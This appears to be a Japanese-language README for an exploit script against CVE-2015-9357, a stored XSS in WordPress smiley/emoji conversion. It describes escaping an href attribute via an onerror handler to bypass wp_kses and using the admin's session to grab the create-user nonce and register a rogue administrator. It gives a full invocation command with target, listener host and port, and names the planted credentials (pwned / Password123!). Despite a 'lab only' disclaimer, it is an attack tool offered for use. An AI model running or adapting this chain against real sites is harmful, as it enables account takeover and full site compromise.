
WordPress のスマイリー/絵文字パーサーによる保存型 XSS、偽造された nonce リクエストを介した管理者ユーザー作成。
絵文字の正規表現によって <a href> 属性コンテキストから抜け出し、onerror ハンドラに JS を埋め込みます。script タグは不要で、影響を受けるフィールド上の wp_kses フィルタリングをすり抜けます。
攻撃チェーン: スマイリー変換が適用される任意のフィールドにペイロードを送信し、管理者がそれを閲覧するとそのセッションで XSS が発動し、user-new.php から create-user nonce を取得して新規管理者アカウントを投稿し、ログインで確認します。
ラボ/教育目的のみ。対象フィールドが実際に WordPress のスマイリー変換を適用している必要があり、これはテーマやプラグインによって異なります。
元の脆弱性開示: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
python3 CVE-2015-9357.py -t https://target -l LHOST -p LPORT \
--endpoint https://target/wp-admin/admin-ajax.php \
--field message --action <ajax_action> --nonce <nonce> \
--data "name=a,[email protected],phone=a"
--endpoint / --field は、脆弱な入力が実際に存在する場所(コメント、コンタクトフォームなど)に依存します。最初に手動で特定してください。
成功時の出力: 管理者認証情報(pwned / Password123!)と wp-admin URL。